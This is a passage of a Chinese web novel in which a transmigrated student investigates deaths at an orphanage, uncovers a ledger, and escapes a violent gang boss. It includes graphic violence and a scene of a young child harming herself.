这是温绒穿越过后第1次遇见有人说自己高,心情极好,“你也不赖。” “嗯!我也很棒。院长以前总说,我会跟你一样住到内城区。” 院长吗? 温绒的笑容淡了些。 很可惜的是,没有跟真实世界的院长好好道别,小说世界的院长也去世了。 正想调整情绪跟小男孩继续聊天,突然,腰上被重重推一下,一个小女孩跑出来拉着小男孩要走。 温绒疑惑地望过去,被小女孩敏锐发现,大眼睛狠狠瞪了他一眼。 下一秒,小女孩慌张松开小男孩的手,两只手都背到身后去。 “小花,这是温绒大哥哥!”小男孩激动地跺脚,“以后我会跟他一样住到内城区去。” 叫小花的小女孩撇开脸,“你跟他说话,我再也不理你了。” 温绒:啊? 小男孩也跟温绒一样愣住了,不过他跟小花关系亲近些,下意识地追过去。 “小花对不起,你不要不理我。” 动静不大不小,刚好引起莱昂的注意。 “今天就到这儿,没有准备好的小朋友明天晚上再来。” 小朋友们很遗憾,但也听话的散开。 莱昂拎起鸡蛋篮子走到温绒身边,“怎么下来了?伤怎么样?” “没事。” 温绒忍不住问:“那个叫小花的小女孩,为什么不喜欢我?” 莱昂笑,“人家小女孩一定要喜欢你?” “唔……也不是。我只是好奇。” “小女孩我不知道,小男孩我倒是知道他很崇拜你,我昨天来的时候他还一直问我你在哪。” 两人在这边说着,那边小女孩跟小男孩跑没了影。 温绒终于察觉一些不对劲,“时野呢?” “他去军驻地了,估计要后天才回得来。” 莱昂又拉了下温绒的手,“走,学长带你开小灶。” “什么?” “学长可不像时野那么没用,跟着他吃苦,跟着学长吃肉。” 算是抢了周谢功劳。 被装在冰袋里的人参鸡保存新鲜,加点水,架起火煮一煮,油冒出来,在这个实在不怎么发达的外城区里,堪称仙品。 不过温绒伤口疼,实在没什么胃口,盛了碗汤就让莱昂学长把剩下的全部分给福利院里的其他人。 忙活一阵回来,莱昂陪着他回了休息室,等到彻底断电,一切陷入黑暗。 他跟莱昂并肩躺在砖砌的床上,有睡袋,不算很硬,只是刚睡醒又躺下,有些难以入眠。 “学长。”温绒试探着喊。 “嗯?” “我……” 欲言又止。 学长之于温绒的意义是特别的,很多心里话他都更愿意和学长说。 有很多很多的想法,很多很多的苦,包括刀捅进小腹的时候很痛,缝针的时候很痛……但张开嘴,一想到那个小镇,想到坐在电筒下看书小男孩,就什么都说不出来了。 “没什么想说的话,让学长来说?” “……嗯。” 莱昂扯了下睡袋,尽量靠近温绒,“医生给你处理伤口的时候,我们跟周谢通了电话,得到一些消息。” “什么?” 温绒果然来劲了,注意力被完全转移。 “好奇吗?” “嗯。” “那学长真惨,好像爱上工作狂了。” “周谢查到什么了?” 莱昂:“……” 夜很长,莱昂把周谢说的话原封不动给温绒复述一遍,自己都不知道自己是什么时候睡着的,直到第2天大早,阳光落下来,才终于有昨晚睡着了的概念。 温绒比他晚一些醒,莱昂打水上来时,他坐在床边,背挺得老直,双手搭在膝盖上,好像一个机器人正在等待开机。 莱昂用手沾了些水,弹到他脸上。 温绒如梦初醒。 “学长?” “想什么?” “在想福利院的四个大人为什么会被迫害。” “没有线索就不要浪费力气思考,会偏离正确答案。把脸凑过来,洗脸。” 温绒乖巧地把脸凑近,莱昂沾湿毛巾,细细擦过脸蛋儿。 为温绒做这种事的时候,莱昂心中会生出莫名的快意。 细想一下,只有这种时候温绒完全依赖他。 偶尔,莱昂会怀念温绒哭着找他诉说委屈的样子,那个时候温绒的世界只有他。 过去两天,温绒跟时野共同流浪,感情加深了吗? 莱昂努力维持微笑,“温绒。” “嗯?” “很舒服吗?我看你都要睡着。” “嗯。” 温绒往前一倒,侧脸靠在莱昂小腹上,手也顺着腰抱紧,“早上起来就能看到学长,感觉很幸福。” 希望这是只属于他的待遇。 莱昂任他抱着,水盆里的热气散尽,阳光缓慢爬到被子上。 半小时后,两人才下楼。 昨晚那个叫小花的女孩正好路过,瘦瘦小小的,皮肤蜡黄,见到他俩,扭头便跑。 温绒疑惑地看一眼莱昂。 莱昂叹气:“其实她也不喜欢我,她甚至都没要跟我要过鸡蛋。” “有点奇怪。” “可能比较防备陌生人。” 也没有其他的解释了。 温绒没空细想小女孩的事,厨房门口站着一群嗷嗷待哺的小朋友们。 医生煮粥,保镖们洗菜,温绒的任务是招呼小朋友们排队,莱昂分鸡蛋。 招呼最后一个小孩拿到鸡蛋时,莱昂逗他,“大朋友要不要鸡蛋。” 又悄悄说:“学长给你留两个最大的。” 温绒的早饭是比其他小孩大那么一丁点儿的爱心鸡蛋。 饭后,正帮着收拾空篮子,转眼间跟远处的小花对上视线。 才发现刚才吃饭一直都没见到小花,温绒左右环顾一圈,只看到块面包,小心翼翼递给她。 小花冷漠地望一眼他,又对着面包做出吞咽的动作,犹豫不动。 温绒主动往她那边挪半步,不成想吓到了小花,小花转头就跑。 “小花,你等等我呀。” 昨晚的小男孩迅速追着小花跑出去。 温绒望着两道藏进房子的身影,一时有些摸不着头脑。 “要不要学长告诉你为什么?” “啊?” 温绒没记错的话,早上下楼时学长还跟自己一样摸不着头脑,做了些小花怕陌生人的猜测。 莱昂凑到他耳边,“学长在帮忙做早饭的时候特地找其他小朋友问了。” “为什么?” “唉,跟小朋友们的沟通过程特别特别艰难。” “?” “要奖励一下学长吧。” 调笑的语气,让温绒仿佛回到了弗罗里曼学院学院。生活轻轻松松,只需要好好学习,烦恼林竞航。 “学长想要什么?” “亲一下学长。” 温绒看一眼小朋友们,“这里都是小孩子。” “那下次学长要亲的时候,你不可以拒绝。” 温绒笑着应下。 毕竟在福利院这边看到什么都不好受,这样短暂的取乐,确实让心情好很多。 “那个小女孩叫小花,小男孩叫小山,名字都是院长随便取的。小山去年才来,七岁了没人愿意领养,小花刚出生就被送到这边,被内城区的人领养过一次,因为左手有六根手指头被退养。” “六根手指?” “嗯,所以她总是有意地挡着手不让别人看见。” 温绒:“原来是这样。” “不喜欢你的原因很简单,因为你是内城区来的。”莱昂扯了扯嘴角,“她仇恨内城区的人。” 温绒皱眉:“领养的时候应该知道她有六个手指头,为什么生活了一段时间才以这个理由退回来。” 莱昂顺着他问:“你猜为什么?” “是那家的妻子怀孕了?还是那家的孩子不喜欢她?” 温绒神色认真,好像完全沉浸在这个问题里。 可是一个人能得出的答案,大部分来自于他的认知。 莱昂伸手揉了下温绒的脑袋,“不如想想这些孩子以后怎么办。福利院没有大人了,目前不知道什么原因也招不到人,我们走之后,这些小孩都不知道还能不能吃上饭。” 温绒的注意力成功转移,“政府不管吗?” “没有人愿意来。” “能把他们转移到内城区的福利院吗?” 说出口后温绒就有些后悔。 他们会适应内城区吗?看见那边福利院的孩子,会不会有落差,能融入吗? “是个不错的想法,等会儿我们去外城区政府问问。” 行程定好,温绒跟莱昂收好东西一块去了外城区政府。 外城区政府靠近铁丝网,环境很好,完全使用内城区的建筑风格,温绒甚至在里面收到久违的手机信号。 久逢甘霖,温绒终于充上电,看到自己手机里收到无数消息。 他跟莱昂一起和周谢打了个电话,简单交代彼此目前的已知信息,又提及让福利院孩子去内城区的事。 周总统留下的势力还在,周谢打了个电话就安排好了这件事。 电话都没挂,就有跟进福利院事故的办事员出来带他们办理转移手续。 离开前,温绒还麻烦办事员教自己把钱转入福利院账户,等小孩们全部去内城区,钱会以正规渠道变成几位大人的抚恤金。 也算是处理了一件心头大事。 回福利院是已经是晚上,路上悍马晃得厉害,温绒有些晕车,打开窗对着新鲜空气猛吸几口,结果臭味冲进鼻子,嗓子完全被堵住了。 “唔——” “怎么了?” “哈……太臭了。” “那关上窗吧,关上窗户会好一些。” 在晕车和被臭晕之间,温绒艰难选择前者,默默关上车窗。 “要不我开个空调?” “不用——” 突然,悍马在土路上急刹,温绒跟莱昂一起往前冲。 小腹的伤口被安全带完全扯到,温绒痛得大脑直接陷入一片空白。 “啪啪啪啪” 尚不及反应,门外,一直小手用力拍门。 莱昂迅速拉下车窗,小山的哭声冲进来。 “温……大哥呜呜呜呜。” 福利院院子里的电筒,在黑暗中变成一颗黯淡的星星,几乎要看不见。 莱昂眉头一紧,“这么晚,你怎么在这里。” “呜呜呜呜。” 莱昂下车,把小山抱进车里,温绒才从阵痛中回过神,扶着伤口询问:“小山,别哭,告诉哥哥发生什么事了?” 小山抽噎一声,“小花……小花……” 温绒:“小花怎么了?” “教……教室。” 莱昂迅速关门上车,加大油门,悍马撵着土路上的碎石朝福利院狂奔而去。 福利院的小孩都被保镖聚在院子里,小山跳下车,一溜烟往二楼跑,温绒扶着腰追上去,偶然听到小朋友们说好多血。 他已经有不祥的预感。 到二楼教室时,满地的血还是差点让他晕厥过去。 幸好莱昂及时扶住了他。 温绒甚至都觉得自己近视度数加深了,用力眨几下眼睛都没看清发生了什么。 可能光太暗,可能血太多,都分不清是从哪个位置流出来的。 小花完全就是个小血人,缩在墙角,一只手藏在伸手,一只手抓着把小刀直直对准他们,失声尖叫:“不准过来。” “小花。” 小山猛一下冲上去,莱昂又及时扯住,把他拉了回来。 “怎么回事。”莱昂问一直站在门边的医生。 医生也着急,拿着绷带手舞足蹈道,“有人发现她在这里切手指,叫我过来,谁知道她不许任何人靠近,刚才还刮了我一刀。” 医生的手上确实有一道明显的血迹,温绒往小花手上看去,正好小花伸出手,吓了他一大跳——小拇指下,第六根手指以诡异的形状垂吊在手背上,随着小花微弱的动作而甩动,像是漂浮的尸体。 温绒刚经历过被刀捅,缝针的感觉还深深刻在脑子里,现下看到小花手上有一道相似的伤,每一个细胞都开始剧痛,完全丧失语言能力。 “那是把切牛排用的西餐刀,她从哪拿到的?”莱昂问。 医生一脸茫然。 保镖也摇头,“这次出来得急,我们连牛排都没带。” “能摁住她止血吗?现在看起来还在流血。” “她不让人靠近,那把西餐刀不知道在哪捡的,被刮到就需要打抗病毒药剂,我没带那么多。而且面对这种应激病人不可以采用强势手段,她要是一激动,捅自己怎么办,她都敢切自己手指。” 小山跳起来:“温大哥哥,去找李医生,李医生可以治好小花。” 温绒如梦初醒,懦弱地别开脸,不敢看小花的手,“开车过去半小时,总比继续僵持在这边好。” “行,医生你去处理自己的伤口,我们带她去找……李医生。”莱昂拍拍小山的肩膀,“你可以劝小花跟我们一起走吗?” 索性小花不许温绒跟莱昂靠近,却是能接受小山的。小山在医生的指导下先简单处理小花的伤口,再扶着她跌跌撞撞地坐上车。 悍马在路上狂奔,半小时车程缩短一半,敲响李医生家门时,恰好断电。 幸好白天去过一趟区政府充电,莱昂摸出手机,一个小小的灯泡成了唯一的光源。 这也让几个人不得不聚到小花的伤口前,温绒举灯,莱昂摁着小花,李医生消毒缝针。 仿佛回到了给他缝针的那晚。 温绒感觉每一针像重新落回自己身上,疼极了,后背全是冷汗。 好想快点结束。 快点结束吧。 他闭上眼睛祈祷。 然而每一秒都如那晚一样漫长。 小花咬着毛巾,泪汪汪的眼睛里已经找不到平日里的憎恨,她已经没有力气憎恨了,像一个完全被抽干生命的木偶,只能感受到痛。 不知道过了多久,“啪”的一声,曾经属于温绒的福音,也在这一刻宣告凌迟的结束。 温绒重重吐出一口气,想到回到福利院后医生还给他打了针,询问李医生,“她伤口这么深,需不需要打一些抗病毒的针?” 李医生累的不行,甩着手到柜子边倒了碗水,一边喝一边说:“外城区哪有这种东西?看命,运气好死不了。” “我们的医生带了,我去拿。” 温绒跟莱昂马不停蹄地回福利院。 路上,莱昂问他那天缝针是不是也这样,温绒本来想说是,可到了嘴边,不知道怎么就变成“李医生说,这边都这样”。 一路沉默,带着药回到李医生住处时,小花睡了,天微微亮。 悍马目标大,这边的镇长又居心不良,温绒跟莱昂不适合继续待在这边,只能留小山在这里照顾小花,趁着还没被发现离开。 哪知道一开门,迎面跟小春碰了个面。 意外的是小春今天冷静极了,还看一眼莱昂,“哇,才多久没见,你就染头发了?” 温绒想,莱昂跟时野像吗? 随即解释,“他们不是同一个人,这是我学长。” 小春:“你男人去哪了?” 温绒:“?” 莱昂:“……” 李医生给小花打完针出来,见着他俩还没走,急道,“怎么还没走?” 小春连忙说:“先别出去,镇长早上要出门,你们回去的时候跟他碰上就不好了。” 温绒跟莱昂不得不暂留在李医生这边。 李医生倒不介意,煮一大锅水,给每个人都弄了碗清水面。 沸水是这间屋子唯一的声音。 温绒试图解释:“其实那个不是我男人。” 小春:“我姨说你们是啊,你们还有好多绯闻,他抱过你嘞。” 没想到李医生也是蓝书爱好者。 温绒皱了下眉,莱昂温柔解释,“那都是他自己炒作的。” 小春:“哦哦哦,那你——” 还要语出惊人的时候,小花的哭声从里间传来,小春一惊:“小花来了?” 李医生:“嗯,不知道谁教她的,去垃圾场捡了把刀,把她那根手指切了。” “她切了手指?!” “切了一半,给她缝回去了,你这么激动干什么?” 小春脸色瞬间煞白:“是我教的。” 李医生一愣:“什么?” 小春闪躲众人目光,硬着头皮解释,“福利院出事后她不是天天往这边跑吗?我就骗她说这里不要六根手指的女孩。” 温绒脑袋里“轰”地一声,炸开。 一个七岁不到的小孩,用西餐刀生切手指的勇气来源于想当妓/女。 荒唐到他根本想象不出来。 怎么会这样想? 莱昂在炉子下拉了下温绒的手,指尖钻进手心,吸引温绒的注意。 温绒朝他望过,莱昂笑了下,眼神示意温绒不要失态。 温绒低下头整理情绪。 正在这时,有男人来敲门。 “喂!李医生,在家吗?” 李医生迅速看小春一眼,小春会意,抢走温绒跟莱昂面前的碗,倒回锅里。 李医生又提示温绒,“快,你们躲到里面去。” 温绒尚搞不清状况,已经跟莱昂被推进里间,外头门落锁。 “大早上的,你煮这么多面啊?” 李医生开门了。 “小山跟小花都在这边,我怕不够,就煮多了点。你要吃吗?小春,给勇哥拿碗。” “不用,我吃过了。” 李医生:“小春,你要没事就回去睡觉吧,晚上还要干活。” 明显的逐客令,接下来的对话似乎是李医生跟这个“勇哥”之间的秘密。 温绒看一眼莱昂,用气音问:“后面的话我们听了会不会不太好?” “依照这个隔音效果,不想听也要听不是吗?” 啪嗒一声关门,小春离开。 外面那位不速之客以为清了场,单刀直入:“你跟福利院那些人关系还挺好。” “立马大部分孩子都是我接生的,能不好吗。” “我是说院长。” “好到葬礼都没请我去吃席?” 砰地一声,有什么东西摔到地上了。 “你再装,那四个贱人绝对把账本放到你这里了。” “我不知道你在说什么,滚出去,再不滚我给镇长打电话。” “你打啊,他来了我告诉他账本就在你这里。” “你说话要讲证据!” “我现在就去搜。” 李医生骤然拔高声音,“张勇,这是第几次了?!你真不怕哪天生病受伤对吧,我告诉你,你敢乱砸我东西,以后你,包括你哥,你弟,你妹,谁都不许进到我这里来。” 这是相当于威慑力的一句话。 外城区这样危险的地方,太缺专业医生了! 而李医生是方圆百里唯一一个。 不多会儿,传来关门声,这场莫名其妙的对话结束。 温绒正想问莱昂有没有听明白他们说的“账本”,咔擦一声,李医生拉开门,迅速绕过温绒,爬到床下来摸出个相册一样的东西丢给温绒。 温绒没想到答案就这么直接蹦到怀里来,惊了一下,“这个……” “拿了赶紧滚,院长送过来的时候我就知道是个烫手山芋,你们爱怎么弄怎么弄都不关我的事。” 所以院长们被迫害,是因为这个账本! 温绒有种接近真相的喜悦,来不及翻阅,迅速给李医生说了声谢谢,叫上莱昂学长一起走向门口。 “嚯,这车谁的?” “悍马啊,几百万一辆。”【你现在阅读的是 】 第 114 章【正文完结】 第114章 第 114 章 正文完结 温绒跟莱昂对视一样, 相当有默契地翻开账本,一页一页扫过上面的内容。 李医生不明白他俩在干什么,只知道有人发现他俩在这里了, 急得跺脚,“你们干嘛?还不快跑。” 翻页声唰唰唰响过,门外的对话也从悍马好酷变成这里为什么会有悍马。 “砰”地一声,温绒合上账本。 莱昂总结,“手工记账,现金交易,交易品为石材树木, 单件价格却高达百万。” 温绒:“日期相近,连号,应该有往年账本。” 莱昂:“每一笔都是记录欠了别人的钱, 但作为欠钱的人,账本丢了不会这么紧张。” 交换信息完毕,温绒问:“记账人, 交易双方,日期, 你都记下来了吗?” 莱昂在这样紧迫的情势下,努力微笑缓解紧张,“学长确实有一些过目不忘的能力。” “我没有。” 湛蓝的眼睛陡然一愣。 “你已经把里面的东西全部记下来了,回到福利院能立即联系周谢查名单。” “温绒……” 温绒把账本抱在怀里, “那个人看见了悍马,势必会找其他人过来搜李医生的屋子。这个镇子的人在找我,他们并不知道你的存在,所以学长可以在我吸引他们注意力的时候开悍马跑掉。” 莱昂不知道温绒怎么会做出这样的决定。 他为了防止温绒遇到危险才来外城区,现在却要温绒帮助他逃跑。 紧迫时刻, 还是忍不住想找回转的余地,“我们可以一起开悍马逃跑。” “李医生、小花和小山怎么办。” “……” 莱昂时候说不出话了。 他不想承认,温绒做的决定是正确的。 “别担心,我有筹码。学长只要把我被抓的消息带给周谢就行。” 语毕,温绒猫着腰躲到窗户下面偷瞄,果然看见悍马周围聚集起了许多人。 他回头问李医生:“屋子后面可以逃跑吗?” 李医生已经吓傻了,结结巴巴说不出话,只六神无主地瞪着门外。 经历过一次机场事件,温绒出奇的冷静。伸手拉李医生过来正对自己,“别怕,如果学长开悍马逃出去,我跟你们都不会出事。” “你、你……” 温绒坚定望着她:“我保证,我死之前,你们都不会死。” “我……” 温绒截断她,“我发誓。” 排山倒海的声音来到木门前,砰砰作响,整个屋子好像遭遇了地震,震得所有人几乎难以站稳。 容不得李医生再慌张害怕,温绒推着莱昂学长躲进柜子,“快——” 要让他们来不及搜屋子,就必须第一时间吸引他们的注意力。 时间如此紧迫,温绒几乎是飞着到了后面,刻意等着前门被踢开后的两秒,大力拉开门。 “你们……”李医生声音微弱,俨然压不住动静。 “后门有人!” 一群体型肥硕的男人听见动静,纷纷朝后门跑。 不知道谁喊了声“账本”,又有谁喊了声“温绒!是温绒!”,场面火热起来,还留在悍马旁边的人都跑进了屋,又跟着队伍末尾,从后门冲出去。 李医生焦急望着温绒逃跑的方向,意外发现一群大男人看起来又胖又壮,竟然跑不过温绒,到现在都没抓到人。 她迟钝半秒,柜子里的莱昂主动出来,几乎没留下任何话,跟温绒一样,飞一般跑向悍马。 “抓住他。” 温绒拔腿狂奔,仿佛回到了上辈子被霸凌的日子,一群不良少年几乎天天追在他身后。 但他的爆发力强,耐力却极差,双腿很快发软,像两个失控的齿轮,各自转着各自的频率。 有一瞬间,左脚没落地右脚先抬起来,两条腿前后啪叽踩下去,两边鞋底触碰到不一样的地面,身形一歪,踉跄跪下。 石子割开膝盖,泥土滚进破损的皮肤,骨头跟撕裂一样传来阵痛。 【宿主需要兑换积分吗?】 “不用。” 温绒身体里迸发出空前的力量,双手撑地重新站起,跪着、扑着向前跑。 砰砰砰 砰、砰、砰 砰——砰——砰—— 心脏剧跳,他深吸一口气,胸膛被肺腑顶起来,用力憋住。 汗已经从鼻尖滴下,小腹的伤口因为剧烈运动产生撕裂,温绒再也无法前行,肩膀落地一滚,又一次天旋地转。 等到视线回笼,身体半搭在将近80度的三米高露台。 连着河,垃圾混杂着黑色浓稠物体漂浮在河面上,臭味几乎将他熏晕。 这个距离,学长应该跑掉了。 追上来的男人们也停下脚步,大概知道他无路可逃,呵呵笑起来。 “你跑啊!你再跑!” “老子今天非得弄死你。” 他们会如何对付他。 像福利院的大人那样强迫吞炭再一把火烧死吗? 从这里跳进河里,说不定能跑掉。 但是—— 温绒看一眼手里的账本,瞬间做出取舍。 他艰难爬起来,打开账本,“你们想要账本吗?” 男人们看起来魁梧,但其实并不高,温绒站起来竟然能比大部分人高半个脑袋。 人头耸动,挡不住沉静的眉眼。温绒在所有人预备一拥而上的瞬间,反手将账本内页全数撕下,抛进河里。 他们完全没想到温绒会这么做! 个个目瞪口呆:“你——” “他把账本丢了!” “快下去捡!” 有人这么喊,却没有人动。 奇异的是,这些人生存在这样的环境,竟然还会嫌河水脏。 不过也没有捡的必要,账本没用什么特殊材料,一沾水全废了。 温绒赌,账本上记录的并非是欠款,而是需要收回的钱。 …… 夜幕降临在这片荒芜的“垃圾场”,镇子亮起霓虹灯,不知道是什么特殊日子,今晚的来客尤其多。 欢笑和呻吟透过窗户进入这间亮堂堂的屋子。 刺目的水晶灯下,一整套红木家具占据绝大部分空间,打扮休闲的老人坐在茶几边喝茶。 虽然没有王斯辰那套泡来泡去的程序,不过姿态倒是很足。 温绒睁开眼,入目是一双双粗壮的腿,穿长裤的,穿短裤的,默契的是他们的鞋面上都沾着泥点。 他没忍住扯了扯嘴角。 好笑的是,照片变为现实。 成功的是,他赌对了。 “镇长,他醒了。” 粗腿们开始移动,冰冷的地砖仍然干净,说明这些人尊重这个地方,甚至害怕这个地方被泥弄脏,特地清理了鞋底。 ——他在敌方大本营。 温绒试图坐起来,但手腕传来剧痛,无法动弹。 绑住他的是一根极细的东西,几乎要陷入肉里。 他的腰也很痛,应该是身体的扭曲导致伤口被扯到,有湿润的感觉,极大可能是血。 “我要坐起来。”温绒开口。 “坐你妈。” 身后传来一声粗呵,温绒后背被猛踢一脚,胸膛的迅速顶起导致脖子传来咔的一声。 好痛啊,肺都要飞出来了。 温绒弓着背剧烈咳嗽一声,后背感受到难以阻挡的力道,蹬着他的脑袋往地上磕。 “那个账本……” “停下。”老头子开口。 温绒身后的男人停下了动作,所有人也都停下,好像到这一刻,他们才开始把注意力全部放在温绒身上。 这具相比他们来说羸弱、年轻的身体。 他刻意闭上嘴。 一秒 两秒 老头子没有说话,背后的男人也没有动脚。 温绒直视老头子,因为头发凌乱,刘海挡着视线。 他缓慢地问:“捡回来了吗?” “他还敢说!”“要不是他把账本丢进河里——” 一群男人又吵起来,场面火热,老头子倒了杯茶,却没喝一口就放下。 苍老的脸上沟壑纵横,阴沉沉地凝望着温绒,像一具僵尸。 “打死他。” “把他割了!” 当情绪开始支配大脑,所有人缓步走向温绒,要抉择出一位勇士动手的时候,老头子终于闷闷地开口:“先别急。” 随即老头子下巴朝大门的方向一点,回应他的男人很眼熟,是早上去李医生屋里要账本的张勇。 张勇迅速走出去,不到半分钟,门外传来哭声。 声音越来越近,直到小花跟小山被拎着进屋。 在他们身后,李医生跟小春也被另一个男人摔进门。 温绒明白他们要搞威胁的那一套,冷笑一声,干涩的唇瓣裂了缝,血丝顺着下巴流到地砖上。 他稍微动了动,换了个不那么折磨伤口的姿势,吐出口气,“看来账本对你们来说真的很重要。” 老头子:“你只要把你记得部分写下来,我会放过他们。” “我全都记得。” 众人一喜,他们坚信,弗罗里曼学院的学生能实现过目不忘这种神迹。 温绒一字一句道,“但是我不想写。” 空气再次静默,却是暴风雨前夕的短暂宁静,很快,人群暴动:“杀了他!”“这小贱种竟然敢玩我们!”“你们不敢动手我来。” …… 温绒并不想管这群男人,他只望着老头:“你想一想,我为什么会来外城区。” 老头不言,温绒继续说:“我是被全联邦的人道德绑架来的,福利院死了人,他们就觉得我该来处理丧事。现在——我出事了,他们会被另一些人指责,辱骂。这是极大的新闻事件,政/府不会不管。” “不信你等一等,外城区政/府的电话很快就会打过来。” 咚咚咚 话音刚落,敲门声响起。 “恭爷在吗?上面吩咐我们来领个人。” 一切都在意料之中,温绒却并不乐观,因为他发现,这里的每个人,每张脸上都没有“惧怕”,哪怕一点点。 老头示意张勇下去,“处理掉。” 张勇得意地冲温绒一笑,“小贱种,在外城区,政/府的人都要跪着求我们恭爷。” 温绒眼皮轻颤,听到张勇下去后说了声“没在这边”,两人犹豫着说“这是区长要找的人”,张勇骂了句“滚”。 汽车发动,声音越来越远。 看得出来,这位恭爷比区长的地位更高。 老头子这次倒了茶,喝了,心情不错。 “把账本上的内容写下来,你可以在这些人里救一个。” “一个?” “你不会以为,在我的地盘上闹了事,什么都不用承担吧。” 一席话,给所有人判了死刑。 小春猛一下挣扎起来,但嘴上蒙着胶布,只能发出唔唔的声音。 她身后的男人抬手一棍,砸到肩膀翘起的骨头上。 小春摔到地上,吓得小花都不敢再哭。 温绒垂下眼,静默片刻后说:“现在正是选举的最关键时期,周总统的旧派票数不高,如果他们接手了我失踪这件事,局面就可以重新洗牌。下一次来的,不是军驻地的人,就内城区军队。我跟周总统的旧部是什么关系,你在社会新闻上应该看到过吧。” “快点写,要么他们全陪你一起死。” “即使有这么多人干涉,你都要替杀了我吗?” 老头子冷眼望他,周围人纷纷抄起家伙,冰冷的刀棍刮着地面,发出刺耳的声音。 他们围到温绒周边,像惊天巨浪,下一瞬就要将他覆盖,打击成一团碎末。可怖的面庞,丝毫没有任何属于人的犹豫,不忍。 这是一群轻视人命的疯子。 温绒忍着痛,用脑门抵着地砖,终于从地上坐了起来。 他坐着,重重呼吸,消解撕裂伤口传来的剧痛,不见血色的唇边才终于发出一声喟叹:“好像我现在除了把账本写出来,也没有其他办法了。” 老头子:“拿笔给他。” “我饿了。” “限你一个小时写完,超出一分钟,我剁她们一根手指。” “……” 身后有人把束缚温绒的东西割开,温绒把东西连带手拿到正面来,才发现那是一根扎带。 细白的手腕上已经出现明显青紫,凹进去一条长方形的沟壑。 哈。 温绒在心里陡然笑出声。 这位恭爷不怕区政/府,不怕周总统旧部这样的议员,甚至不怕军队。 在这些之上的,他的靠山除了王斯辰,也没有其他人了吧。 虽然情况不妙,但至少得到了一个好消息。 接下来只需要知道账本上的交易到底是什么就行- #温绒失踪#登上蓝书热搜第一。 #温绒不该去外城区# #外城区治安差# #外城区平均每天失踪近百人# 温绒带着外城区进入大众视野,内城区所有人居民几乎是第一次知道,原来外城区不止脏乱差,还存在许多灰色地带。 [靠,都怪那些道德绑架温绒的人,福利院出事就已经很恐怖了,警察都没结案就强迫温绒去外城区。] [之前那些人发言的时候我就觉得很奇怪,福利院的事故又不是温绒弄的,为什么要温绒又去办葬礼又给钱的啊?这不是政/府的工作吗?] [可怕的是,温绒确实回去办葬礼了,而且政/府流程单上显示,温绒还捐了钱。] [呜呜,我家宝宝千万不要出事啊。] [温绒要是出事,之前那些吵着要他去外城区的都是帮凶!你们等着,我会一个个找出来的。] [学院为什么到现在都没有发声?温绒不是学院的学生吗?扒着温绒吸血的时候可开心了,现在温绒出事都不赶紧找雇佣兵去营救吗?] [额……楼上是不是电影看多了,雇佣兵?] [别笑,真的需要雇佣兵,前些年我去过一趟外城区,那边的警察都是摆设,到处都是尸体。] [??真的?] [保真。] [@联邦政/府,救救品学兼优无父无母的可怜孩子好吗?] [大家行动起来,快打电话,必须让政/府把温绒救出来。] 蓝书上的舆论顺利往周谢期望的方向发展。 房间里的气氛却没有半点轻松。 “区政/府的人去过了,说温绒不在那边。”莱昂在电话里说。 “温绒的位置没变,他肯定在。” 周谢顿了下,“那个镇,已经脱离区政/府的管控。” 莱昂语气稍急,“时野的电话打不通,你能联系上吗?” 李奥骤然跳起来,“表哥,我刚收到消息,时野昨晚枪杀军驻地指挥官,现在正被送往军事法庭。” 周谢下结论:“军驻地脱离了时家的控制。” “时家的领导地位毋庸置疑。”莱昂缓慢地说:“或者说,时野的继承人位置不稳,已经控制不了军驻地那群人。” “……” “这么多因素结合起来看,这次给温绒设局的人物很明显了。” 周谢摘下眼镜,用力揉了揉眼睛,“王斯辰跟外城区的人会有联系吗?” “以温绒目前的社会地位和社交,没有王斯辰当靠山,不敢动温绒。” “如果我是王斯辰,这次事件我必然下场,但我又要杀温绒,所以我应该会让手下先把温绒弄得半死不活,等营救成功后,就让温绒在ICU待几天,弄一个抢救失败结果。这样既得了民心,又弄死了温绒。” 莱昂沉默片刻,问:“我现在带着保镖去把温绒救出来的概率大吗?” “区政府里有一些我爸的人,带他们一起。” 周谢说完,重新戴上眼镜,却像无头苍蝇一样绕着桌子走半圈,喃喃道,“王斯辰跟外城区的牵扯到底是什么。” …… 到了断电时间,依然灯火通明的大本营内,所有人已经无聊得打起了牌。 时间可以磋磨世间一切。 这些人的气势汹汹、杀意、都被这短短一个小时磨掉了。 温绒也觉得惊奇,为什么一个小时都无法坚持? 可能这就是李医生说的普通人吧,没那么厉害,毅力低到十分钟都无法坚持。 此事有利于他。 现在是他们最松散的时候。 “我写完了。” 温绒放下笔,仔细观察四周。 张勇打着哈欠走近,正准备拿起写好的账本—— 啪! 铅笔直直插入他的手背。 剧痛袭来的瞬间,手背被巨力一扯,拉出出一个可怖的洞。 张勇尖叫:“啊——” 趁着这群人注意张勇,温绒灵活翻过张永德身体,两三步冲到老头子面前,打碎茶杯,用尖锐的碎片抵上那只剩一块“树皮”的脖子。 速度之快,所有已经放松下来的人都没有察觉。 等反应过来,侧身有人要伸手抓温绒的瞬间,温绒抬起手表,“嘭”地一声,那人直挺挺倒下,胸前瞬间出现一个血窟窿。 “这是什么武器。” “你放开恭爷。” 温绒手上用力,碎片在恭爷脖子上划出一条血缝。 “你你你停下。” 恭爷作为这群人的老大,有着区别于他人的镇定。他并不惧怕温绒的行为,而是冷淡问道,“你以为抓了我你就能逃出去?” 温绒:“你们都散开,把两个小孩两个大人都松开,让她们站到我身后。” “不要搞小动作,否则下场跟地上那个一样。” 索性时野家卖军火没有卖得丧失人性,外城区虽然乱,但也没有到枪支泛滥的地步。 所有男人齐齐后退,被松开的李医生四人奔跑到温绒身后。 在这一瞬间,研学过微表情的温绒敏锐察觉到,男人们的表情从惊慌变为镇定。 粗俗的他们实在不会掩饰那点幸灾乐祸,一眼就被看穿。 不对劲。 一定有什么细节被遗漏了。 他们为什么突然不害怕恭爷受伤了。 “温绒,你——” 温绒转身,举起手表,“嘭”地一声,李医生手臂瞬间被炸出一个血窟窿。 李医生瞪大眼睛,迟钝地低头看向手臂。 血肉翻出,手臂染尽鲜血。啪嗒,一只针剂从血淋滴答的袖子里掉出。 打歪了。 如果刚才回头看一眼,说不定就能打死。 李医生难以置信,“温绒,你……你为什么……” 温绒:“我在刚刚那一瞬间突然发现,你很像我认识的一个人。” 像周谢。 特别像。 说的每句话都很有道理,融入不了、落差、折磨……每一句话都很真实,但这些话进到脑子里,除了增加烦恼,没有任何作用。 它更像是一种自我洗脑。 因为有这样那样的理由,他们就会理所当然地去做一些很坏的事。 温绒现在身处危险之中,习惯性防备任何人,一把李医生从“救命恩人”“知心大姐姐”的标签中剥离开,才发现她漏洞百出。 